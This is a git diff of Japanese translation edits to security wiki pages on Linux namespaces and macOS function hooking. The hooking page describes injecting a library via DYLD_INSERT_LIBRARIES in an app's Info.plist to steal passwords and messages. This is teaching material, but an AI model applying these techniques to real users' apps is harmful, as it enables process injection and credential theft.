- 新しい名前空間内の`/bin/bash`の最初の子プロセスはPID 1になります。このプロセスが終了すると、他にプロセスがない場合、名前空間のクリーンアップがトリガーされます。PID 1は孤児プロセスを引き取る特別な役割を持っているためです。Linuxカーネルはその名前空間でのPID割り当てを無効にします。
-2. **結果**:
+2. **結果**:
- 新しい名前空間内でPID 1が終了すると、`PIDNS_HASH_ADDING`フラグがクリーニングされます。これにより、新しいプロセスを作成する際に`alloc_pid`関数が新しいPIDを割り当てることに失敗し、「メモリを割り当てできません」というエラーが発生します。
-3. **解決策**:
-- この問題は、`unshare`に`-f`オプションを使用することで解決できます。このオプションは、`unshare`が新しいPID名前空間を作成した後に新しいプロセスをフォークします。
-- `%unshare -fp /bin/bash%`を実行すると、`unshare`コマンド自体が新しい名前空間内でPID 1になります。これにより、`/bin/bash`とその子プロセスは安全にこの新しい名前空間内に収容され、PID 1の早期終了を防ぎ、正常なPID割り当てを可能にします。
+3. **解決策**:
+- この問題は、`unshare`に`-f`オプションを使用することで解決できます。このオプションにより、`unshare`は新しいPID名前空間を作成した後に新しいプロセスをフォークします。
+- `%unshare -fp /bin/bash%`を実行すると、`unshare`コマンド自体が新しい名前空間内でPID 1になります。これにより、`/bin/bash`とその子プロセスはこの新しい名前空間内に安全に収容され、PID 1の早期終了を防ぎ、通常のPID割り当てを可能にします。
`unshare`が`-f`フラグで実行されることを確保することで、新しいPID名前空間が正しく維持され、`/bin/bash`とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
-新しいインスタンスの`/proc`ファイルシステムをマウントすることで、`--mount-proc`パラメータを使用すると、新しいマウント名前空間がその名前空間に特有の**プロセス情報の正確で隔離されたビュー**を持つことが保証されます。
+新しいインスタンスの`/proc`ファイルシステムをマウントすることで、`--mount-proc`パラメータを使用すると、新しいマウント名前空間がその名前空間に特有のプロセス情報の**正確で孤立したビュー**を持つことが保証されます。
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### プロセスがどの名前空間にあるかを確認する
+### プロセスがどの名前空間にあるかを確認する
```bash
ls -l /proc/self/ns/pid
lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
@@ -64,15 +64,15 @@ lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
```bash
sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | sort -u
```
-初期(デフォルト)のPID名前空間からのrootユーザーは、すべてのプロセスを見ることができます。新しいPID名前空間のプロセスも含まれています。これが、すべてのPID名前空間を見ることができる理由です。
+初期(デフォルト)のPID名前空間からのrootユーザーは、すべてのプロセスを見ることができます。新しいPID名前空間内のプロセスも含まれています。これが、すべてのPID名前空間を見ることができる理由です。
### PID名前空間に入る
```bash
nsenter -t TARGET_PID --pid /bin/bash
```
-PID名前空間にデフォルトの名前空間から入ると、すべてのプロセスを見ることができます。そして、そのPID nsのプロセスは新しいbashをPID nsで見ることができます。
+PID ネームスペースにデフォルトのネームスペースから入ると、すべてのプロセスを見ることができます。そして、その PID ns のプロセスは新しい bash を PID ns で見ることができます。
-また、**rootでない限り、他のプロセスのPID名前空間に入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り、他の名前空間に**入ることはできません**(例えば、`/proc/self/ns/pid`のように)。
+また、**root でない限り、他のプロセスの PID ネームスペースに入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り、他のネームスペースに**入ることはできません**(例えば `/proc/self/ns/pid` のように)。
## References
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
index c6b0f4cea..3541109a2 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
@@ -4,7 +4,7 @@
## 基本情報
-Linuxのタイムネームスペースは、システムのモノトニックおよびブートタイムクロックに対する名前空間ごとのオフセットを可能にします。これは、コンテナ内の日付/時刻を変更し、チェックポイントまたはスナップショットから復元した後にクロックを調整するために、Linuxコンテナで一般的に使用されます。
+Linuxのタイムネームスペースは、システムのモノトニックおよびブートタイムクロックに対する名前空間ごとのオフセットを許可します。これは、コンテナ内の日付/時刻を変更し、チェックポイントまたはスナップショットから復元した後にクロックを調整するために、Linuxコンテナで一般的に使用されます。
## ラボ:
@@ -14,7 +14,7 @@ Linuxのタイムネームスペースは、システムのモノトニックお
```bash
sudo unshare -T [--mount-proc] /bin/bash
```
-新しいインスタンスの `/proc` ファイルシステムをマウントすることで、`--mount-proc` パラメータを使用すると、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で孤立したビュー**を持つことが保証されます。
+新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で隔離されたビュー**を持つことを保証します。
@@ -24,17 +24,17 @@ sudo unshare -T [--mount-proc] /bin/bash
1. **問題の説明**:
-- Linux カーネルは、プロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しいネームスペースに入らず、その子プロセスのみが入ります。
+- Linux カーネルはプロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しいネームスペースに入らず、その子プロセスのみが入ります。
- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。
-- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、孤児プロセスを引き取る特別な役割を持つ PID 1 によりネームスペースのクリーンアップがトリガーされます。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。
+- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っているためです。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。
2. **結果**:
- 新しいネームスペース内で PID 1 が終了すると、`PIDNS_HASH_ADDING` フラグがクリーニングされます。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。
3. **解決策**:
-- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションにより、`unshare` は新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。
-- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、正常な PID 割り当てを可能にします。
+- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。
+- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。
`unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
@@ -44,7 +44,7 @@ sudo unshare -T [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### プロセスがどの名前空間にあるかを確認する
+### プロセスがどの名前空間にあるかを確認する
```bash
ls -l /proc/self/ns/time
lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
index e38a091ed..cf06bf665 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
@@ -6,14 +6,14 @@
ユーザー名前空間は、**ユーザーおよびグループIDマッピングの隔離を提供する**Linuxカーネルの機能であり、各ユーザー名前空間が**独自のユーザーおよびグループIDのセット**を持つことを可能にします。この隔離により、異なるユーザー名前空間で実行されているプロセスは、**同じユーザーおよびグループIDを数値的に共有していても、異なる特権と所有権を持つことができます**。
-ユーザー名前空間は特にコンテナ化において有用であり、各コンテナが独自のユーザーおよびグループIDの独立したセットを持つべきであり、これによりコンテナとホストシステム間のセキュリティと隔離が向上します。
+ユーザー名前空間は、各コンテナが独自の独立したユーザーおよびグループIDのセットを持つべきコンテナ化に特に便利であり、コンテナとホストシステム間のセキュリティと隔離を向上させます。
### 仕組み:
-1. 新しいユーザー名前空間が作成されると、**空のユーザーおよびグループIDマッピングのセットから始まります**。これは、新しいユーザー名前空間で実行されるプロセスが**名前空間の外で特権を持たない状態で初期化されることを意味します**。
-2. 新しい名前空間のユーザーおよびグループIDと親(またはホスト)名前空間のIDとの間にIDマッピングを確立できます。これにより、**新しい名前空間のプロセスが親名前空間のユーザーおよびグループIDに対応する特権と所有権を持つことができます**。ただし、IDマッピングは特定の範囲やIDのサブセットに制限でき、これにより新しい名前空間のプロセスに付与される特権を細かく制御できます。
+1. 新しいユーザー名前空間が作成されると、**空のユーザーおよびグループIDマッピングのセットから始まります**。これは、新しいユーザー名前空間で実行されるプロセスが**名前空間の外で特権を持たないことを意味します**。
+2. IDマッピングは、新しい名前空間のユーザーおよびグループIDと親(またはホスト)名前空間のIDとの間で確立できます。これにより、**新しい名前空間のプロセスが親名前空間のユーザーおよびグループIDに対応する特権と所有権を持つことができます**。ただし、IDマッピングは特定の範囲やIDのサブセットに制限でき、プロセスに付与される特権を細かく制御できます。
3. ユーザー名前空間内では、**プロセスは名前空間内の操作に対して完全なルート特権(UID 0)を持つことができます**が、名前空間の外では制限された特権を持ちます。これにより、**コンテナはホストシステム上で完全なルート特権を持たずに、自身の名前空間内でルートのような機能を持って実行できます**。
-4. プロセスは`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを`CLONE_NEWUSER`フラグと共に使用して新しい名前空間を作成したりできます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたユーザーおよびグループIDマッピングを使用し始めます。
+4. プロセスは、`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを`CLONE_NEWUSER`フラグと共に使用して新しい名前空間を作成したりできます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたユーザーおよびグループIDマッピングを使用し始めます。
## ラボ:
@@ -23,29 +23,29 @@
```bash
sudo unshare -U [--mount-proc] /bin/bash
```
-新しいインスタンスの `/proc` ファイルシステムをマウントすることで、`--mount-proc` パラメータを使用すると、新しいマウント名前空間がその名前空間に特有のプロセス情報の**正確で孤立したビュー**を持つことが保証されます。
+新しいインスタンスの `/proc` ファイルシステムを `--mount-proc` パラメータを使用してマウントすることで、新しいマウントネームスペースがそのネームスペースに特有のプロセス情報の**正確で隔離されたビュー**を持つことを保証します。
エラー: bash: fork: メモリを割り当てることができません
-`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) 名前空間を処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです:
+`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです:
1. **問題の説明**:
-- Linux カーネルは、プロセスが `unshare` システムコールを使用して新しい名前空間を作成することを許可します。しかし、新しい PID 名前空間の作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しい名前空間に入らず、その子プロセスのみが入ります。
-- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID 名前空間に存在します。
-- 新しい名前空間内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、名前空間のクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っています。Linux カーネルはその名前空間での PID 割り当てを無効にします。
+- Linux カーネルはプロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しいネームスペースに入らず、その子プロセスのみが入ります。
+- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。
+- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、PID 1 は孤児プロセスを引き取る特別な役割を持っているため、ネームスペースのクリーンアップがトリガーされます。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。
2. **結果**:
-- 新しい名前空間内で PID 1 が終了すると、`PIDNS_HASH_ADDING` フラグがクリーニングされます。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。
+- 新しいネームスペース内での PID 1 の終了は `PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。
3. **解決策**:
-- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID 名前空間を作成した後に新しいプロセスをフォークします。
-- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しい名前空間内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しい名前空間内に安全に収容され、PID 1 の早期終了を防ぎ、正常な PID 割り当てを可能にします。
+- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションは、`unshare` が新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。
+- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。
-`unshare` が `-f` フラグで実行されることを保証することで、新しい PID 名前空間が正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
+`unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
@@ -53,9 +53,9 @@ sudo unshare -U [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-ユーザー名前空間を使用するには、Dockerデーモンを**`--userns-remap=default`**で起動する必要があります(Ubuntu 14.04では、`/etc/default/docker`を変更し、その後`sudo service docker restart`を実行することで行えます)
+ユーザー名前空間を使用するには、Dockerデーモンを **`--userns-remap=default`** で起動する必要があります(Ubuntu 14.04では、`/etc/default/docker` を変更し、その後 `sudo service docker restart` を実行することで行えます)
-### プロセスがどの名前空間にあるかを確認する
+### プロセスがどの名前空間にいるかを確認する
```bash
ls -l /proc/self/ns/user
lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
@@ -66,7 +66,7 @@ cat /proc/self/uid_map
0 0 4294967295 --> Root is root in host
0 231072 65536 --> Root is 231072 userid in host
```
-ホストからは次のように:
+ホストから次のように:
```bash
cat /proc//uid_map
```
@@ -80,9 +80,9 @@ sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null |
```bash
nsenter -U TARGET_PID --pid /bin/bash
```
-また、**ルートでなければ他のプロセスネームスペースに入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り(例えば `/proc/self/ns/user`)、他のネームスペースに**入ることはできません**。
+また、**ルートでなければ他のプロセスの名前空間に入ることはできません**。そして、**ディスクリプタ**がそれを指していない限り(例えば `/proc/self/ns/user`)、他の名前空間に**入ることはできません**。
-### 新しいユーザーネームスペースを作成する(マッピング付き)
+### 新しいユーザー名前空間を作成する(マッピング付き)
```bash
unshare -U [--map-user=|] [--map-group=|] [--map-root-user] [--map-current-user]
```
@@ -96,14 +96,14 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody
ps -ef | grep bash # The user inside the host is still root, not nobody
root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash
```
-### 回復可能性
+### Recovering Capabilities
-ユーザー名前空間の場合、**新しいユーザー名前空間が作成されると、その名前空間に入るプロセスにはその名前空間内での完全な権限セットが付与されます**。これらの権限により、プロセスは**ファイルシステムのマウント**、デバイスの作成、ファイルの所有権の変更などの特権操作を実行できますが、**そのユーザー名前空間のコンテキスト内でのみ**実行できます。
+ユーザー名前空間の場合、**新しいユーザー名前空間が作成されると、その名前空間に入るプロセスには完全な権限のセットが付与されます**。これらの権限により、プロセスは**ファイルシステムのマウント**、デバイスの作成、ファイルの所有権の変更などの特権操作を実行できますが、**そのユーザー名前空間のコンテキスト内でのみ**実行できます。
例えば、ユーザー名前空間内で`CAP_SYS_ADMIN`権限を持っている場合、ファイルシステムのマウントなど、この権限を通常必要とする操作を実行できますが、あなたのユーザー名前空間のコンテキスト内でのみです。この権限を使用して実行する操作は、ホストシステムや他の名前空間には影響しません。
> [!WARNING]
-> したがって、新しいユーザー名前空間内に新しいプロセスを取得することが**すべての権限を取り戻すことになります**(CapEff: 000001ffffffffff)が、実際には**名前空間に関連するもののみを使用できます**(例えばマウント)が、すべてではありません。したがって、これだけではDockerコンテナから脱出するには不十分です。
+> したがって、新しいユーザー名前空間内に新しいプロセスを取得することが**すべての権限を戻すことになります**(CapEff: 000001ffffffffff)としても、実際には**名前空間に関連するもののみを使用できます**(例えばマウント)が、すべての権限を使用できるわけではありません。したがって、これだけではDockerコンテナから脱出するには不十分です。
```bash
# There are the syscalls that are filtered after changing User namespace with:
unshare -UmCpf bash
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
index c15f34494..c87266f0f 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md
@@ -4,13 +4,13 @@
## 基本情報
-UTS (UNIX Time-Sharing System) 名前空間は、**ホスト名**と**NIS** (Network Information Service) ドメイン名の**2つのシステム識別子の隔離**を提供するLinuxカーネルの機能です。この隔離により、各UTS名前空間は**独自のホスト名とNISドメイン名**を持つことができ、特に各コンテナが独自のホスト名を持つ別々のシステムとして表示されるべきコンテナ化シナリオで便利です。
+UTS (UNIX Time-Sharing System) 名前空間は、**2つのシステム識別子の隔離**を提供するLinuxカーネルの機能です:**ホスト名**と**NIS** (Network Information Service) ドメイン名。この隔離により、各UTS名前空間は**独自のホスト名とNISドメイン名**を持つことができ、特に各コンテナが独自のホスト名を持つ別々のシステムとして表示されるべきコンテナ化シナリオで便利です。
### 仕組み:
1. 新しいUTS名前空間が作成されると、**親名前空間からホスト名とNISドメイン名のコピー**で始まります。これは、作成時に新しい名前空間が**親と同じ識別子を共有する**ことを意味します。しかし、名前空間内でのホスト名やNISドメイン名へのその後の変更は、他の名前空間には影響しません。
2. UTS名前空間内のプロセスは、`sethostname()`および`setdomainname()`システムコールを使用して**ホスト名とNISドメイン名を変更**できます。これらの変更は名前空間にローカルであり、他の名前空間やホストシステムには影響しません。
-3. プロセスは、`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを使用して`CLONE_NEWUTS`フラグで新しい名前空間を作成したりできます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたホスト名とNISドメイン名を使用し始めます。
+3. プロセスは、`setns()`システムコールを使用して名前空間間を移動したり、`unshare()`または`clone()`システムコールを`CLONE_NEWUTS`フラグと共に使用して新しい名前空間を作成したりできます。プロセスが新しい名前空間に移動するか、新しい名前空間を作成すると、その名前空間に関連付けられたホスト名とNISドメイン名を使用し始めます。
## ラボ:
@@ -24,23 +24,23 @@ sudo unshare -u [--mount-proc] /bin/bash
-エラー: bash: fork: メモリを割り当てできません
+エラー: bash: fork: メモリを割り当てることができません
-`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下に示されています。
+`unshare` が `-f` オプションなしで実行されると、Linux が新しい PID (プロセス ID) ネームスペースを処理する方法のためにエラーが発生します。重要な詳細と解決策は以下の通りです:
-1. **問題の説明**:
+1. **問題の説明**:
-- Linux カーネルは、プロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しいネームスペースに入らず、その子プロセスのみが入ります。
+- Linux カーネルはプロセスが `unshare` システムコールを使用して新しいネームスペースを作成することを許可します。しかし、新しい PID ネームスペースの作成を開始するプロセス(「unshare」プロセスと呼ばれる)は新しいネームスペースに入らず、その子プロセスのみが入ります。
- `%unshare -p /bin/bash%` を実行すると、`unshare` と同じプロセスで `/bin/bash` が開始されます。その結果、`/bin/bash` とその子プロセスは元の PID ネームスペースに存在します。
-- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、孤児プロセスを引き取る特別な役割を持つ PID 1 によりネームスペースのクリーンアップがトリガーされます。Linux カーネルはそのネームスペースでの PID 割り当てを無効にします。
+- 新しいネームスペース内の `/bin/bash` の最初の子プロセスは PID 1 になります。このプロセスが終了すると、他にプロセスがない場合、ネームスペースのクリーンアップがトリガーされます。PID 1 は孤児プロセスを引き取る特別な役割を持っています。Linux カーネルはそのネームスペース内での PID 割り当てを無効にします。
-2. **結果**:
+2. **結果**:
-- 新しいネームスペース内の PID 1 の終了は `PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に新しい PID を割り当てる `alloc_pid` 関数が失敗し、「メモリを割り当てできません」というエラーが発生します。
+- 新しいネームスペース内での PID 1 の終了は `PIDNS_HASH_ADDING` フラグのクリーンアップを引き起こします。これにより、新しいプロセスを作成する際に `alloc_pid` 関数が新しい PID を割り当てることに失敗し、「メモリを割り当てることができません」というエラーが発生します。
-3. **解決策**:
-- この問題は、`unshare` に `-f` オプションを使用することで解決できます。このオプションにより、`unshare` は新しい PID ネームスペースを作成した後に新しいプロセスをフォークします。
-- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、通常の PID 割り当てを可能にします。
+3. **解決策**:
+- この問題は `unshare` に `-f` オプションを使用することで解決できます。このオプションは `unshare` が新しい PID ネームスペースを作成した後に新しいプロセスをフォークするようにします。
+- `%unshare -fp /bin/bash%` を実行すると、`unshare` コマンド自体が新しいネームスペース内で PID 1 になります。これにより、`/bin/bash` とその子プロセスはこの新しいネームスペース内に安全に収容され、PID 1 の早期終了を防ぎ、正常な PID 割り当てを可能にします。
`unshare` が `-f` フラグで実行されることを保証することで、新しい PID ネームスペースが正しく維持され、`/bin/bash` とそのサブプロセスがメモリ割り当てエラーに遭遇することなく動作できるようになります。
@@ -50,7 +50,7 @@ sudo unshare -u [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-###
+### プロセスがどの名前空間にあるかを確認する
```bash
ls -l /proc/self/ns/uts
lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
@@ -61,7 +61,7 @@ sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null |
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep
```
-### UTS ネームスペースに入る
+### UTS名前空間に入る
```bash
nsenter -u TARGET_PID --pid /bin/bash
```
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
index 93a75d775..a9843c0ca 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
@@ -4,9 +4,9 @@
## Function Interposing
-**`__interpose`** セクション(または **`S_INTERPOSING`** フラグが付けられたセクション)を持つ **dylib** を作成し、**元の** 関数と **置き換え** 関数を参照する **関数ポインタ** のタプルを含めます。
+**`__interpose`** セクション(または **`S_INTERPOSING`** フラグが付けられたセクション)を含む **dylib** を作成し、**元の** 関数と **置き換え** 関数を参照する **関数ポインタ** のタプルを含めます。
-次に、**`DYLD_INSERT_LIBRARIES`** を使用して dylib を **注入** します(インターポジングはメインアプリがロードされる前に行う必要があります)。明らかに、[**`DYLD_INSERT_LIBRARIES`** の使用に適用される **制限** はここでも適用されます](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions)。
+次に、**`DYLD_INSERT_LIBRARIES`** を使用して dylib を **注入** します(インターポジングはメインアプリがロードされる前に行う必要があります)。明らかに、[**`DYLD_INSERT_LIBRARIES`** の使用に適用される **制限** はここでも適用されます](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions)。
### Interpose printf
@@ -88,7 +88,7 @@ ObjectiveCでは、メソッドは次のように呼び出されます: **`[myCl
オブジェクト構造に従って、**メソッドの配列**にアクセスすることが可能で、そこには**名前**と**メソッドコードへのポインタ**が**格納されています**。
> [!CAUTION]
-> メソッドとクラスはその名前に基づいてアクセスされるため、この情報はバイナリに保存されます。したがって、`otool -ov `または[`class-dump `](https://github.com/nygard/class-dump)を使用して取得することが可能です。
+> メソッドとクラスは名前に基づいてアクセスされるため、この情報はバイナリに保存されます。したがって、`otool -ov `または[`class-dump `](https://github.com/nygard/class-dump)を使用して取得することが可能です。
### 生のメソッドへのアクセス
@@ -208,13 +208,13 @@ return 0;
}
```
> [!WARNING]
-> この場合、**正当な**メソッドの**実装コード**が**メソッド名**を**検証**すると、このスウィズリングを**検出**し、実行を防ぐことができます。
+> この場合、**正当な**メソッドの**実装コード**が**メソッド**の**名前**を**検証**すると、このスウィズリングを**検出**し、実行を防ぐことができます。
>
> 次の技術にはこの制限はありません。
### method_setImplementationによるメソッドスウィズリング
-前の形式は奇妙です。なぜなら、2つのメソッドの実装を互いに変更しているからです。**`method_setImplementation`**関数を使用すると、**あるメソッドの実装を別のメソッドに**変更できます。
+以前の形式は奇妙です。なぜなら、2つのメソッドの実装を互いに変更しているからです。**`method_setImplementation`**関数を使用すると、**あるメソッドの実装を別のメソッドに変更**できます。
新しい実装から元の実装を呼び出す予定がある場合は、上書きする前に**元の実装のアドレスを保存する**ことを忘れないでください。後でそのアドレスを見つけるのは非常に複雑になります。
```objectivec
@@ -272,13 +272,13 @@ return 0;
このページでは、関数をフックするさまざまな方法について説明しました。しかし、これらは**攻撃のためにプロセス内でコードを実行する**ことを含んでいました。
-それを行うための最も簡単な技術は、[環境変数を介してDyldを注入するか、ハイジャックすること](../macos-dyld-hijacking-and-dyld_insert_libraries.md)です。しかし、これも[Dylibプロセス注入](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port)を介して行うことができると思います。
+そのために、最も簡単な技術は、[環境変数を介してDyldを注入するか、ハイジャックすること](../macos-dyld-hijacking-and-dyld_insert_libraries.md)です。しかし、これも[タスクポートを介したDylibプロセス注入](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port)によって行うことができると思います。
ただし、両方のオプションは**保護されていない**バイナリ/プロセスに**制限**されています。各技術を確認して、制限について詳しく学んでください。
-ただし、関数フッキング攻撃は非常に特定のものであり、攻撃者は**プロセス内から機密情報を盗む**ためにこれを行います(そうでなければ、プロセス注入攻撃を行うだけです)。この機密情報は、MacPassなどのユーザーがダウンロードしたアプリに存在する可能性があります。
+ただし、関数フッキング攻撃は非常に特定的であり、攻撃者は**プロセス内から機密情報を盗む**ためにこれを行います(そうでなければ、プロセス注入攻撃を行うだけです)。この機密情報は、MacPassなどのユーザーがダウンロードしたアプリに存在する可能性があります。
-したがって、攻撃者のベクターは、脆弱性を見つけるか、アプリケーションの署名を剥がし、アプリケーションのInfo.plistを介して**`DYLD_INSERT_LIBRARIES`**環境変数を注入し、次のようなものを追加することになります:
+したがって、攻撃者のベクターは、脆弱性を見つけるか、アプリケーションの署名を剥がし、アプリケーションのInfo.plistを介して**`DYLD_INSERT_LIBRARIES`**環境変数を注入し、次のようなものを追加することになります:
```xml
LSEnvironment
@@ -293,7 +293,7 @@ return 0;
情報を抽出するためのフックコードをそのライブラリに追加します: パスワード、メッセージ...
> [!CAUTION]
-> 新しいバージョンのmacOSでは、アプリケーションバイナリの**署名を削除**し、以前に実行されていた場合、macOSは**アプリケーションを実行しなくなります**。
+> 新しいバージョンのmacOSでは、アプリケーションバイナリの**署名を削除**すると、以前に実行されていた場合、macOSは**アプリケーションを実行しなくなります**。
#### ライブラリの例
```objectivec
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md b/src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
index 3f80ca9de..38016251d 100644
